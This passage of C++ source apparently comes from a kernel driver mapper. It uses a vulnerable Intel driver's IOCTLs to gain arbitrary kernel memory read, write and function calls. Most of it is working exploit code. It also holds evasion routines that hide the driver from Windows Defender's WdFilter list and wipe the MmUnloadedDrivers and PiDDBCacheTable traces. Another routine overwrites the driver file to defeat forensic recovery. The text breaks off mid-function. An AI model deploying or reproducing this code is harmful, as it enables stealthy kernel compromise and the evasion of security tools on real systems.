RuntimeDriversList_Head = RuntimeDriversList - 0x8; 168 | uintptr_t RuntimeDriversCount = (uintptr_t)ResolveRelativeAddress(device_handle, (PVOID)RuntimeDriversCountRef, 2, 6); 169 | uintptr_t RuntimeDriversArray = RuntimeDriversCount + 0x8; 170 | ReadMemory(device_handle, RuntimeDriversArray, &RuntimeDriversArray, sizeof(uintptr_t)); 171 | uintptr_t MpFreeDriverInfoEx = (uintptr_t)ResolveRelativeAddress(device_handle, (PVOID)MpFreeDriverInfoExRef, 1, 5); 172 | 173 | auto ReadListEntry = [&](uintptr_t Address) -> LIST_ENTRY* { // Usefull lambda to read LIST_ENTRY 174 | LIST_ENTRY* Entry; 175 | if (!ReadMemory(device_handle, Address, &Entry, sizeof(LIST_ENTRY*))) return 0; 176 | return Entry; 177 | }; 178 | 179 | for (LIST_ENTRY* Entry = ReadListEntry(RuntimeDriversList_Head); 180 | Entry != (LIST_ENTRY*)RuntimeDriversList_Head; 181 | Entry = ReadListEntry((uintptr_t)Entry + (offsetof(struct _LIST_ENTRY, Flink)))) 182 | { 183 | UNICODE_STRING Unicode_String; 184 | if (ReadMemory(device_handle, (uintptr_t)Entry + 0x10, &Unicode_String, sizeof(UNICODE_STRING))) { 185 | auto ImageName = std::make_unique((ULONG64)Unicode_String.Length / 2ULL + 1ULL); 186 | if (ReadMemory(device_handle, (uintptr_t)Unicode_String.Buffer, ImageName.get(), Unicode_String.Length)) { 187 | if (wcsstr(ImageName.get(), intel_driver::GetDriverNameW().c_str())) { 188 | 189 | //remove from RuntimeDriversArray 190 | bool removedRuntimeDriversArray = false; 191 | PVOID SameIndexList = (PVOID)((uintptr_t)Entry - 0x10); 192 | for (int k = 0; k < 256; k++) { // max RuntimeDriversArray elements 193 | PVOID value = 0; 194 | ReadMemory(device_handle, RuntimeDriversArray + (k * 8), &value, sizeof(PVOID)); 195 | if (value == SameIndexList) { 196 | PVOID emptyval = (PVOID)(RuntimeDriversCount + 1); // this is not count+1 is position of cout addr+1 197 | WriteMemory(device_handle, RuntimeDriversArray + (k * 8), &emptyval, sizeof(PVOID)); 198 | removedRuntimeDriversArray = true; 199 | break; 200 | } 201 | } 202 | 203 | if (!removedRuntimeDriversArray) { 204 | Log("[!] Failed to remove from RuntimeDriversArray" << std::endl); 205 | return false; 206 | } 207 | 208 | auto NextEntry = ReadListEntry(uintptr_t(Entry) + (offsetof(struct _LIST_ENTRY, Flink))); 209 | auto PrevEntry = ReadListEntry(uintptr_t(Entry) + (offsetof(struct _LIST_ENTRY, Blink))); 210 | 211 | WriteMemory(device_handle, uintptr_t(NextEntry) + (offsetof(struct _LIST_ENTRY, Blink)), &PrevEntry, sizeof(LIST_ENTRY::Blink)); 212 | WriteMemory(device_handle, uintptr_t(PrevEntry) + (offsetof(struct _LIST_ENTRY, Flink)), &NextEntry, sizeof(LIST_ENTRY::Flink)); 213 | 214 | 215 | // decrement RuntimeDriversCount 216 | ULONG current = 0; 217 | ReadMemory(device_handle, RuntimeDriversCount, ¤t, sizeof(ULONG)); 218 | current--; 219 | WriteMemory(device_handle, RuntimeDriversCount, ¤t, sizeof(ULONG)); 220 | 221 | // call MpFreeDriverInfoEx 222 | uintptr_t DriverInfo = (uintptr_t)Entry - 0x20; 223 | 224 | //verify DriverInfo Magic 225 | USHORT Magic = 0; 226 | ReadMemory(device_handle, DriverInfo, &Magic, sizeof(USHORT)); 227 | if (Magic != 0xDA18) { 228 | Log("[!] DriverInfo Magic is invalid, new wdfilter version?, driver info will not be released to prevent bsod" << std::endl); 229 | } 230 | else { 231 | CallKernelFunction(device_handle, nullptr, MpFreeDriverInfoEx, DriverInfo); 232 | } 233 | 234 | Log("[+] WdFilterDriverList Cleaned: " << ImageName << std::endl); 235 | return true; 236 | } 237 | } 238 | } 239 | } 240 | return false; 241 | } 242 | 243 | bool intel_driver::Unload(HANDLE device_handle) { 244 | 245 | if (device_handle && device_handle != INVALID_HANDLE_VALUE) { 246 | CloseHandle(device_handle); 247 | } 248 | 249 | if (!service::StopAndRemove(GetDriverNameW())) 250 | return false; 251 | 252 | std::wstring driver_path = GetDriverPath(); 253 | 254 | //Destroy disk information before unlink from disk to prevent any recover of the file 255 | std::ofstream file_ofstream(driver_path.c_str(), std::ios_base::out | std::ios_base::binary); 256 | int newFileLen = sizeof(intel_driver_resource::driver) + (((long long)rand() * (long long)rand()) % 2000000 + 1000); 257 | BYTE* randomData = new BYTE[newFileLen]; 258 | for (size_t i = 0; i < newFileLen; i++) { 259 | randomData[i] = (BYTE)(rand() % 255); 260 | } 261 | if (!file_ofstream.write((char*)randomData, newFileLen)) { 262 | Log(L"[!] Error dumping shit inside the disk" << std::endl); 263 | } 264 | else { 265 | Log(L"[+] vulnerable intel driver data destroyed before unlink" << std::endl); 266 | } 267 | file_ofstream.close(); 268 | delete[] randomData; 269 | 270 | //unlink the file 271 | if (_wremove(driver_path.c_str()) != 0) 272 | return false; 273 | 274 | return true; 275 | } 276 | 277 | bool intel_driver::MemCopy(HANDLE device_handle, uint64_t destination, uint64_t source, uint64_t size) { 278 | if (!destination || !source || !size) 279 | return 0; 280 | 281 | COPY_MEMORY_BUFFER_INFO copy_memory_buffer = { 0 }; 282 | 283 | copy_memory_buffer.case_number = 0x33; 284 | copy_memory_buffer.source = source; 285 | copy_memory_buffer.destination = destination; 286 | copy_memory_buffer.length = size; 287 | 288 | DWORD bytes_returned = 0; 289 | return DeviceIoControl(device_handle, ioctl1, ©_memory_buffer, sizeof(copy_memory_buffer), nullptr, 0, &bytes_returned, nullptr); 290 | } 291 | 292 | bool intel_driver::SetMemory(HANDLE device_handle, uint64_t address, uint32_t value, uint64_t size) { 293 | if (!address || !size) 294 | return 0; 295 | 296 | FILL_MEMORY_BUFFER_INFO fill_memory_buffer = { 0 }; 297 | 298 | fill_memory_buffer.case_number = 0x30; 299 | fill_memory_buffer.destination = address; 300 | fill_memory_buffer.value = value; 301 | fill_memory_buffer.length = size; 302 | 303 | DWORD bytes_returned = 0; 304 | return DeviceIoControl(device_handle, ioctl1, &fill_memory_buffer, sizeof(fill_memory_buffer), nullptr, 0, &bytes_returned, nullptr); 305 | } 306 | 307 | bool intel_driver::GetPhysicalAddress(HANDLE device_handle, uint64_t address, uint64_t* out_physical_address) { 308 | if (!address) 309 | return 0; 310 | 311 | GET_PHYS_ADDRESS_BUFFER_INFO get_phys_address_buffer = { 0 }; 312 | 313 | get_phys_address_buffer.case_number = 0x25; 314 | get_phys_address_buffer.address_to_translate = address; 315 | 316 | DWORD bytes_returned = 0; 317 | 318 | if (!DeviceIoControl(device_handle, ioctl1, &get_phys_address_buffer, sizeof(get_phys_address_buffer), nullptr, 0, &bytes_returned, nullptr)) 319 | return false; 320 | 321 | *out_physical_address = get_phys_address_buffer.return_physical_address; 322 | return true; 323 | } 324 | 325 | uint64_t intel_driver::MapIoSpace(HANDLE device_handle, uint64_t physical_address, uint32_t size) { 326 | if (!physical_address || !size) 327 | return 0; 328 | 329 | MAP_IO_SPACE_BUFFER_INFO map_io_space_buffer = { 0 }; 330 | 331 | map_io_space_buffer.case_number = 0x19; 332 | map_io_space_buffer.physical_address_to_map = physical_address; 333 | map_io_space_buffer.size = size; 334 | 335 | DWORD bytes_returned = 0; 336 | 337 | if (!DeviceIoControl(device_handle, ioctl1, &map_io_space_buffer, sizeof(map_io_space_buffer), nullptr, 0, &bytes_returned, nullptr)) 338 | return 0; 339 | 340 | return map_io_space_buffer.return_virtual_address; 341 | } 342 | 343 | bool intel_driver::UnmapIoSpace(HANDLE device_handle, uint64_t address, uint32_t size) { 344 | if (!address || !size) 345 | return false; 346 | 347 | UNMAP_IO_SPACE_BUFFER_INFO unmap_io_space_buffer = { 0 }; 348 | 349 | unmap_io_space_buffer.case_number = 0x1A; 350 | unmap_io_space_buffer.virt_address = address; 351 | unmap_io_space_buffer.number_of_bytes = size; 352 | 353 | DWORD bytes_returned = 0; 354 | 355 | return DeviceIoControl(device_handle, ioctl1, &unmap_io_space_buffer, sizeof(unmap_io_space_buffer), nullptr, 0, &bytes_returned, nullptr); 356 | } 357 | 358 | bool intel_driver::ReadMemory(HANDLE device_handle, uint64_t address, void* buffer, uint64_t size) { 359 | return MemCopy(device_handle, reinterpret_cast(buffer), address, size); 360 | } 361 | 362 | bool intel_driver::WriteMemory(HANDLE device_handle, uint64_t address, void* buffer, uint64_t size) { 363 | return MemCopy(device_handle, address, reinterpret_cast(buffer), size); 364 | } 365 | 366 | bool intel_driver::WriteToReadOnlyMemory(HANDLE device_handle, uint64_t address, void* buffer, uint32_t size) { 367 | if (!address || !buffer || !size) 368 | return false; 369 | 370 | uint64_t physical_address = 0; 371 | 372 | if (!GetPhysicalAddress(device_handle, address, &physical_address)) { 373 | Log(L"[-] Failed to translate virtual address 0x" << reinterpret_cast(address) << std::endl); 374 | return false; 375 | } 376 | 377 | const uint64_t mapped_physical_memory = MapIoSpace(device_handle, physical_address, size); 378 | 379 | if (!mapped_physical_memory) { 380 | Log(L"[-] Failed to map IO space of 0x" << reinterpret_cast(physical_address) << std::endl); 381 | return false; 382 | } 383 | 384 | bool result = WriteMemory(device_handle, mapped_physical_memory, buffer, size); 385 | 386 | #if defined(DISABLE_OUTPUT) 387 | UnmapIoSpace(device_handle, mapped_physical_memory, size); 388 | #else 389 | if (!UnmapIoSpace(device_handle, mapped_physical_memory, size)) 390 | Log(L"[!] Failed to unmap IO space of physical address 0x" << reinterpret_cast(physical_address) << std::endl); 391 | #endif 392 | 393 | 394 | return result; 395 | } 396 | 397 | uint64_t intel_driver::MmAllocateIndependentPagesEx(HANDLE device_handle, uint32_t size) 398 | { 399 | uint64_t allocated_pages{}; 400 | 401 | static uint64_t kernel_MmAllocateIndependentPagesEx = 0; 402 | 403 | if (!kernel_MmAllocateIndependentPagesEx) 404 | { 405 | kernel_MmAllocateIndependentPagesEx = intel_driver::FindPatternInSectionAtKernel(device_handle, (char*)"PAGELK", intel_driver::ntoskrnlAddr, 406 | (BYTE*)"\xE8\x00\x00\x00\x00\x48\x8B\xF0\x48\x85\xC0\x0F\x84\x00\x00\x00\x00\x44\x8B\xC5\x33\xD2\x48\x8B\xC8\xE8\x00\x00\x00\x00\x48\x8D\x46\x3F\x48\x83\xE0\xC0", 407 | (char*)"x????xxxxxxxx????xxxxxxxxx????xxxxxxxx"); 408 | if (!kernel_MmAllocateIndependentPagesEx) { 409 | Log(L"[!] Failed to find MmAllocateIndependentPagesEx" << std::endl); 410 | return 0; 411 | } 412 | 413 | kernel_MmAllocateIndependentPagesEx = (uint64_t)ResolveRelativeAddress(device_handle, (PVOID)kernel_MmAllocateIndependentPagesEx, 1, 5); 414 | if (!kernel_MmAllocateIndependentPagesEx) { 415 | Log(L"[!] Failed to find MmAllocateIndependentPagesEx" << std::endl); 416 | return 0; 417 | } 418 | } 419 | 420 | if (!intel_driver::CallKernelFunction(device_handle, &allocated_pages, kernel_MmAllocateIndependentPagesEx, size, -1, 0, 0)) 421 | return 0; 422 | 423 | return allocated_pages; 424 | } 425 | 426 | bool intel_driver::MmFreeIndependentPages(HANDLE device_handle, uint64_t address, uint32_t size) 427 | { 428 | static uint64_t kernel_MmFreeIndependentPages = 0; 429 | 430 | if (!kernel_MmFreeIndependentPages) 431 | { 432 | kernel_MmFreeIndependentPages = intel_driver::FindPatternInSectionAtKernel(device_handle, "PAGE", intel_driver::ntoskrnlAddr, 433 | (BYTE*)"\xBA\x00\x60\x00\x00\x48\x8B\xCB\xE8\x00\x00\x00\x00\x48\x8D\x8B\x00\xF0\xFF\xFF", 434 | (char*)"xxxxxxxxx????xxxxxxx"); 435 | if (!kernel_MmFreeIndependentPages) { 436 | Log(L"[!] Failed to find MmFreeIndependentPages" << std::endl); 437 | return false; 438 | } 439 | 440 | kernel_MmFreeIndependentPages += 8; 441 | 442 | kernel_MmFreeIndependentPages = (uint64_t)ResolveRelativeAddress(device_handle, (PVOID)kernel_MmFreeIndependentPages, 1, 5); 443 | if (!kernel_MmFreeIndependentPages) { 444 | Log(L"[!] Failed to find MmFreeIndependentPages" << std::endl); 445 | return false; 446 | } 447 | } 448 | 449 | uint64_t result{}; 450 | return intel_driver::CallKernelFunction(device_handle, &result, kernel_MmFreeIndependentPages, address, size); 451 | } 452 | 453 | BOOLEAN intel_driver::MmSetPageProtection(HANDLE device_handle, uint64_t address, uint32_t size, ULONG new_protect) 454 | { 455 | if (!address) 456 | { 457 | Log(L"[!] Invalid address passed to MmSetPageProtection" << std::endl); 458 | return FALSE; 459 | } 460 | 461 | static uint64_t kernel_MmSetPageProtection = 0; 462 | 463 | if (!kernel_MmSetPageProtection) 464 | { 465 | kernel_MmSetPageProtection = intel_driver::FindPatternInSectionAtKernel(device_handle, "PAGE", intel_driver::ntoskrnlAddr, 466 | (BYTE*)"\x41\xB8\x00\x00\x00\x00\x48\x00\x00\x00\x8B\x00\xE8\x00\x00\x00\x00\x84\xC0\x74\x09\x48\x81\xEB\x00\x00\x00\x00\xEB", 467 | (char*)"xx????x???x?x????xxxxxxx????x"); 468 | if (!kernel_MmSetPageProtection) { 469 | Log(L"[!] Failed to find MmSetPageProtection" << std::endl); 470 | return FALSE; 471 | } 472 | 473 | kernel_MmSetPageProtection += 12; 474 | 475 | kernel_MmSetPageProtection = (uint64_t)ResolveRelativeAddress(device_handle, (PVOID)kernel_MmSetPageProtection, 1, 5); 476 | if (!kernel_MmSetPageProtection) { 477 | Log(L"[!] Failed to find MmSetPageProtection" << std::endl); 478 | return FALSE; 479 | } 480 | } 481 | 482 | BOOLEAN set_prot_status{}; 483 | if (!intel_driver::CallKernelFunction(device_handle, &set_prot_status, kernel_MmSetPageProtection, address, size, new_protect)) 484 | return FALSE; 485 | 486 | return set_prot_status; 487 | } 488 | 489 | /*added by psec*/ 490 | uint64_t intel_driver::MmAllocatePagesForMdl(HANDLE device_handle, LARGE_INTEGER LowAddress, LARGE_INTEGER HighAddress, LARGE_INTEGER SkipBytes, SIZE_T TotalBytes) 491 | { 492 | static uint64_t kernel_MmAllocatePagesForMdl = GetKernelModuleExport(device_handle, intel_driver::ntoskrnlAddr, "MmAllocatePagesForMdl"); 493 | 494 | if (!kernel_MmAllocatePagesForMdl) 495 | { 496 | Log(L"[!] Failed to find MmAlocatePagesForMdl" << std::endl); 497 | return 0; 498 | } 499 | 500 | uint64_t allocated_pages = 0; 501 | 502 | if (!CallKernelFunction(device_handle, &allocated_pages, kernel_MmAllocatePagesForMdl, LowAddress, HighAddress, SkipBytes, TotalBytes)) 503 | return 0; 504 | 505 | return allocated_pages; 506 | } 507 | 508 | uint64_t intel_driver::MmMapLockedPagesSpecifyCache(HANDLE device_handle, uint64_t pmdl, nt::KPROCESSOR_MODE AccessMode, nt::MEMORY_CACHING_TYPE CacheType, uint64_t RequestedAddress, ULONG BugCheckOnFailure, ULONG Priority) 509 | { 510 | static uint64_t kernel_MmMapLockedPagesSpecifyCache = GetKernelModuleExport(device_handle, intel_driver::ntoskrnlAddr, "MmMapLockedPagesSpecifyCache"); 511 | 512 | if (!kernel_MmMapLockedPagesSpecifyCache) 513 | { 514 | Log(L"[!] Failed to find MmMapLockedPagesSpecifyCache" << std::endl); 515 | return 0; 516 | } 517 | 518 | uint64_t starting_address = 0; 519 | 520 | if (!CallKernelFunction(device_handle, &starting_address, kernel_MmMapLockedPagesSpecifyCache, pmdl, AccessMode, CacheType, RequestedAddress, BugCheckOnFailure, Priority)) 521 | return 0; 522 | 523 | return starting_address; 524 | } 525 | 526 | bool intel_driver::MmProtectMdlSystemAddress(HANDLE device_handle, uint64_t MemoryDescriptorList, ULONG NewProtect) 527 | { 528 | static uint64_t kernel_MmProtectMdlSystemAddress = GetKernelModuleExport(device_handle, intel_driver::ntoskrnlAddr, "MmProtectMdlSystemAddress"); 529 | 530 | if (!kernel_MmProtectMdlSystemAddress) 531 | { 532 | Log(L"[!] Failed to find MmProtectMdlSystemAddress" << std::endl); 533 | return 0; 534 | } 535 | 536 | NTSTATUS status; 537 | 538 | if (!CallKernelFunction(device_handle, &status, kernel_MmProtectMdlSystemAddress, MemoryDescriptorList, NewProtect)) 539 | return 0; 540 | 541 | return NT_SUCCESS(status); 542 | } 543 | 544 | 545 | bool intel_driver::MmUnmapLockedPages(HANDLE device_handle, uint64_t BaseAddress, uint64_t pmdl) 546 | { 547 | static uint64_t kernel_MmUnmapLockedPages = GetKernelModuleExport(device_handle, intel_driver::ntoskrnlAddr, "MmUnmapLockedPages"); 548 | 549 | if (!kernel_MmUnmapLockedPages) 550 | { 551 | Log(L"[!] Failed to find MmUnmapLockedPages" << std::endl); 552 | return 0; 553 | } 554 | 555 | void* result; 556 | return CallKernelFunction(device_handle, &result, kernel_MmUnmapLockedPages, BaseAddress, pmdl); 557 | } 558 | 559 | bool intel_driver::MmFreePagesFromMdl(HANDLE device_handle, uint64_t MemoryDescriptorList) 560 | { 561 | static uint64_t kernel_MmFreePagesFromMdl = GetKernelModuleExport(device_handle, intel_driver::ntoskrnlAddr, "MmFreePagesFromMdl"); 562 | 563 | if (!kernel_MmFreePagesFromMdl) 564 | { 565 | Log(L"[!] Failed to find MmFreePagesFromMdl" << std::endl); 566 | return 0; 567 | } 568 | 569 | void* result; 570 | return CallKernelFunction(device_handle, &result, kernel_MmFreePagesFromMdl, MemoryDescriptorList); 571 | } 572 | /**/ 573 | 574 | uint64_t intel_driver::AllocatePool(HANDLE device_handle, nt::POOL_TYPE pool_type, uint64_t size) { 575 | if (!size) 576 | return 0; 577 | 578 | static uint64_t kernel_ExAllocatePool = GetKernelModuleExport(device_handle, intel_driver::ntoskrnlAddr, "ExAllocatePoolWithTag"); 579 | 580 | if (!kernel_ExAllocatePool) { 581 | Log(L"[!] Failed to find ExAllocatePool" << std::endl); 582 | return 0; 583 | } 584 | 585 | uint64_t allocated_pool = 0; 586 | 587 | if (!CallKernelFunction(device_handle, &allocated_pool, kernel_ExAllocatePool, pool_type, size, 'BwtE')) //Changed pool tag since an extremely meme checking diff between allocation size and average for detection.... 588 | return 0; 589 | 590 | return allocated_pool; 591 | } 592 | 593 | bool intel_driver::FreePool(HANDLE device_handle, uint64_t address) { 594 | if (!address) 595 | return 0; 596 | 597 | static uint64_t kernel_ExFreePool = GetKernelModuleExport(device_handle, intel_driver::ntoskrnlAddr, "ExFreePool"); 598 | 599 | if (!kernel_ExFreePool) { 600 | Log(L"[!] Failed to find ExAllocatePool" << std::endl); 601 | return 0; 602 | } 603 | 604 | return CallKernelFunction(device_handle, nullptr, kernel_ExFreePool, address); 605 | } 606 | 607 | uint64_t intel_driver::GetKernelModuleExport(HANDLE device_handle, uint64_t kernel_module_base, const std::string& function_name) { 608 | if (!kernel_module_base) 609 | return 0; 610 | 611 | IMAGE_DOS_HEADER dos_header = { 0 }; 612 | IMAGE_NT_HEADERS64 nt_headers = { 0 }; 613 | 614 | if (!ReadMemory(device_handle, kernel_module_base, &dos_header, sizeof(dos_header)) || dos_header.e_magic != IMAGE_DOS_SIGNATURE || 615 | !ReadMemory(device_handle, kernel_module_base + dos_header.e_lfanew, &nt_headers, sizeof(nt_headers)) || nt_headers.Signature != IMAGE_NT_SIGNATURE) 616 | return 0; 617 | 618 | const auto export_base = nt_headers.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; 619 | const auto export_base_size = nt_headers.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size; 620 | 621 | if (!export_base || !export_base_size) 622 | return 0; 623 | 624 | const auto export_data = reinterpret_cast(VirtualAlloc(nullptr, export_base_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)); 625 | 626 | if (!ReadMemory(device_handle, kernel_module_base + export_base, export_data, export_base_size)) 627 | { 628 | VirtualFree(export_data, 0, MEM_RELEASE); 629 | return 0; 630 | } 631 | 632 | const auto delta = reinterpret_cast(export_data) - export_base; 633 | 634 | const auto name_table = reinterpret_cast(export_data->AddressOfNames + delta); 635 | const auto ordinal_table = reinterpret_cast(export_data->AddressOfNameOrdinals + delta); 636 | const auto function_table = reinterpret_cast(export_data->AddressOfFunctions + delta); 637 | 638 | for (auto i = 0u; i < export_data->NumberOfNames; ++i) { 639 | const std::string current_function_name = std::string(reinterpret_cast(name_table[i] + delta)); 640 | 641 | if (!_stricmp(current_function_name.c_str(), function_name.c_str())) { 642 | const auto function_ordinal = ordinal_table[i]; 643 | if (function_table[function_ordinal] <= 0x1000) { 644 | // Wrong function address? 645 | return 0; 646 | } 647 | const auto function_address = kernel_module_base + function_table[function_ordinal]; 648 | 649 | if (function_address >= kernel_module_base + export_base && function_address <= kernel_module_base + export_base + export_base_size) { 650 | VirtualFree(export_data, 0, MEM_RELEASE); 651 | return 0; // No forwarded exports on 64bit? 652 | } 653 | 654 | VirtualFree(export_data, 0, MEM_RELEASE); 655 | return function_address; 656 | } 657 | } 658 | 659 | VirtualFree(export_data, 0, MEM_RELEASE); 660 | return 0; 661 | } 662 | 663 | bool intel_driver::ClearMmUnloadedDrivers(HANDLE device_handle) { 664 | ULONG buffer_size = 0; 665 | void* buffer = nullptr; 666 | 667 | NTSTATUS status = NtQuerySystemInformation(static_cast(nt::SystemExtendedHandleInformation), buffer, buffer_size, &buffer_size); 668 | 669 | while (status == nt::STATUS_INFO_LENGTH_MISMATCH) 670 | { 671 | VirtualFree(buffer, 0, MEM_RELEASE); 672 | 673 | buffer = VirtualAlloc(nullptr, buffer_size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); 674 | status = NtQuerySystemInformation(static_cast(nt::SystemExtendedHandleInformation), buffer, buffer_size, &buffer_size); 675 | } 676 | 677 | if (!NT_SUCCESS(status) || buffer == 0) 678 | { 679 | if (buffer != 0) 680 | VirtualFree(buffer, 0, MEM_RELEASE); 681 | return false; 682 | } 683 | 684 | uint64_t object = 0; 685 | 686 | auto system_handle_inforamtion = static_cast(buffer); 687 | 688 | for (auto i = 0u; i < system_handle_inforamtion->HandleCount; ++i) 689 | { 690 | const nt::SYSTEM_HANDLE current_system_handle = system_handle_inforamtion->Handles[i]; 691 | 692 | if (current_system_handle.UniqueProcessId != reinterpret_cast(static_cast(GetCurrentProcessId()))) 693 | continue; 694 | 695 | if (current_system_handle.HandleValue == device_handle) 696 | { 697 | object = reinterpret_cast(current_system_handle.Object); 698 | break; 699 | } 700 | } 701 | 702 | VirtualFree(buffer, 0, MEM_RELEASE); 703 | 704 | if (!object) 705 | return false; 706 | 707 | uint64_t device_object = 0; 708 | 709 | if (!ReadMemory(device_handle, object + 0x8, &device_object, sizeof(device_object)) || !device_object) { 710 | Log(L"[!] Failed to find device_object" << std::endl); 711 | return false; 712 | } 713 | 714 | uint64_t driver_object = 0; 715 | 716 | if (!ReadMemory(device_handle, device_object + 0x8, &driver_object, sizeof(driver_object)) || !driver_object) { 717 | Log(L"[!] Failed to find driver_object" << std::endl); 718 | return false; 719 | } 720 | 721 | uint64_t driver_section = 0; 722 | 723 | if (!ReadMemory(device_handle, driver_object + 0x28, &driver_section, sizeof(driver_section)) || !driver_section) { 724 | Log(L"[!] Failed to find driver_section" << std::endl); 725 | return false; 726 | } 727 | 728 | UNICODE_STRING us_driver_base_dll_name = { 0 }; 729 | 730 | if (!ReadMemory(device_handle, driver_section + 0x58, &us_driver_base_dll_name, sizeof(us_driver_base_dll_name)) || us_driver_base_dll_name.Length == 0) { 731 | Log(L"[!] Failed to find driver name" << std::endl); 732 | return false; 733 | } 734 | 735 | auto unloadedName = std::make_unique((ULONG64)us_driver_base_dll_name.Length / 2ULL + 1ULL); 736 | if (!ReadMemory(device_handle, (uintptr_t)us_driver_base_dll_name.Buffer, unloadedName.get(), us_driver_base_dll_name.Length)) { 737 | Log(L"[!] Failed to read driver name" << std::endl); 738 | return false; 739 | } 740 | 741 | us_driver_base_dll_name.Length = 0; //MiRememberUnloadedDriver will check if the length > 0 to save the unloaded driver 742 | 743 | if (!WriteMemory(device_handle, driver_section + 0x58, &us_driver_base_dll_name, sizeof(us_driver_base_dll_name))) { 744 | Log(L"[!] Failed to write driver name length" << std::endl); 745 | return false; 746 | } 747 | 748 | Log(L"[+] MmUnloadedDrivers Cleaned: " << unloadedName << std::endl); 749 | return true; 750 | } 751 | 752 | PVOID intel_driver::ResolveRelativeAddress(HANDLE device_handle, _In_ PVOID Instruction, _In_ ULONG OffsetOffset, _In_ ULONG InstructionSize) { 753 | ULONG_PTR Instr = (ULONG_PTR)Instruction; 754 | LONG RipOffset = 0; 755 | if (!ReadMemory(device_handle, Instr + OffsetOffset, &RipOffset, sizeof(LONG))) { 756 | return nullptr; 757 | } 758 | PVOID ResolvedAddr = (PVOID)(Instr + InstructionSize + RipOffset); 759 | return ResolvedAddr; 760 | } 761 | 762 | bool intel_driver::ExAcquireResourceExclusiveLite(HANDLE device_handle, PVOID Resource, BOOLEAN wait) { 763 | if (!Resource) 764 | return 0; 765 | 766 | static uint64_t kernel_ExAcquireResourceExclusiveLite = GetKernelModuleExport(device_handle, intel_driver::ntoskrnlAddr, "ExAcquireResourceExclusiveLite"); 767 | 768 | if (!kernel_ExAcquireResourceExclusiveLite) { 769 | Log(L"[!] Failed to find ExAcquireResourceExclusiveLite" << std::endl); 770 | return 0; 771 | } 772 | 773 | BOOLEAN out; 774 | 775 | return (CallKernelFunction(device_handle, &out, kernel_ExAcquireResourceExclusiveLite, Resource, wait) && out); 776 | } 777 | 778 | bool intel_driver::ExReleaseResourceLite(HANDLE device_handle, PVOID Resource) { 779 | if (!Resource) 780 | return false; 781 | 782 | static uint64_t kernel_ExReleaseResourceLite = GetKernelModuleExport(device_handle, intel_driver::ntoskrnlAddr, "ExReleaseResourceLite"); 783 | 784 | if (!kernel_ExReleaseResourceLite) { 785 | Log(L"[!] Failed to find ExReleaseResourceLite" << std::endl); 786 | return false; 787 | } 788 | 789 | return CallKernelFunction(device_handle, nullptr, kernel_ExReleaseResourceLite, Resource); 790 | } 791 | 792 | BOOLEAN intel_driver::RtlDeleteElementGenericTableAvl(HANDLE device_handle, PVOID Table, PVOID Buffer) { 793 | if (!Table) 794 | return false; 795 | 796 | static uint64_t kernel_RtlDeleteElementGenericTableAvl = GetKernelModuleExport(device_handle, intel_driver::ntoskrnlAddr, "RtlDeleteElementGenericTableAvl"); 797 | 798 | if (!kernel_RtlDeleteElementGenericTableAvl) { 799 | Log(L"[!] Failed to find RtlDeleteElementGenericTableAvl" << std::endl); 800 | return false; 801 | } 802 | 803 | bool out; 804 | return (CallKernelFunction(device_handle, &out, kernel_RtlDeleteElementGenericTableAvl, Table, Buffer) && out); 805 | } 806 | 807 | PVOID intel_driver::RtlLookupElementGenericTableAvl(HANDLE device_handle, PRTL_AVL_TABLE Table, PVOID Buffer) { 808 | if (!Table) 809 | return nullptr; 810 | 811 | static uint64_t kernel_RtlDeleteElementGenericTableAvl = GetKernelModuleExport(device_handle, intel_driver::ntoskrnlAddr, "RtlLookupElementGenericTableAvl"); 812 | 813 | if (!kernel_RtlDeleteElementGenericTableAvl) { 814 | Log(L"[!] Failed to find RtlLookupElementGenericTableAvl" << std::endl); 815 | return nullptr; 816 | } 817 | 818 | PVOID out; 819 | 820 | if (!CallKernelFunction(device_handle, &out, kernel_RtlDeleteElementGenericTableAvl, Table, Buffer)) 821 | return 0; 822 | 823 | return out; 824 | } 825 | 826 | 827 | intel_driver::PiDDBCacheEntry* intel_driver::LookupEntry(HANDLE device_handle, PRTL_AVL_TABLE PiDDBCacheTable, ULONG timestamp, const wchar_t* name) { 828 | 829 | PiDDBCacheEntry localentry{}; 830 | localentry.TimeDateStamp = timestamp; 831 | localentry.DriverName.Buffer = (PWSTR)name; 832 | localentry.DriverName.Length = (USHORT)(wcslen(name) * 2); 833 | localentry.DriverName.MaximumLength = localentry.DriverName.Length + 2; 834 | 835 | return (PiDDBCacheEntry*)RtlLookupElementGenericTableAvl(device_handle, PiDDBCacheTable, (PVOID)&localentry); 836 | } 837 | 838 | bool intel_driver::ClearPiDDBCacheTable(HANDLE device_handle) { //PiDDBCacheTable added on LoadDriver 839 | 840 | PiDDBLockPtr = FindPatternInSectionAtKernel(device_handle, "PAGE", intel_driver::ntoskrnlAddr, (PUCHAR)"\x8B\xD8\x85\xC0\x0F\x88\x00\x00\x00\x00\x65\x48\x8B\x04\x25\x00\x00\x00\x00\x66\xFF\x88\x00\x00\x00\x00\xB2\x01\x48\x8D\x0D\x00\x00\x00\x00\xE8\x00\x00\x00\x00\x4C\x8B\x00\x24", "xxxxxx????xxxxx????xxx????xxxxx????x????xx?x"); // 8B D8 85 C0 0F 88 ? ? ? ? 65 48 8B 04 25 ? ? ? ? 66 FF 88 ? ? ? ? B2 01 48 8D 0D ? ? ? ? E8 ? ? ? ? 4C 8B ? 24 update for build 22000.132 841 | PiDDBCacheTablePtr = FindPatternInSectionAtKernel(device_handle, "PAGE", intel_driver::ntoskrnlAddr, (PUCHAR)"\x66\x03\xD2\x48\x8D\x0D", "xxxxxx"); // 66 03 D2 48 8D 0D 842 | 843 | if (PiDDBLockPtr == NULL) { // PiDDBLock pattern changes a lot from version 1607 of windows and we will need a second pattern if we want to keep simple as posible 844 | PiDDBLockPtr = FindPatternInSectionAtKernel(device_handle, "PAGE", intel_driver::ntoskrnlAddr, (PUCHAR)"\x48\x8B\x0D\x00\x00\x00\x00\x48\x85\xC9\x0F\x85\x00\x00\x00\x00\x48\x8D\x0D\x00\x00\x00\x00\xE8\x00\x00\x00\x00\xE8", "xxx????xxxxx????xxx????x????x"); // 48 8B 0D ? ? ? ? 48 85 C9 0F 85 ? ? ? ? 48 8D 0D ? ? ? ? E8 ? ? ? ? E8 build 22449+ (pattern can be improved but just fine for now) 845 | if (PiDDBLockPtr == NULL) { 846 | Log(L"[-] Warning PiDDBLock not found" << 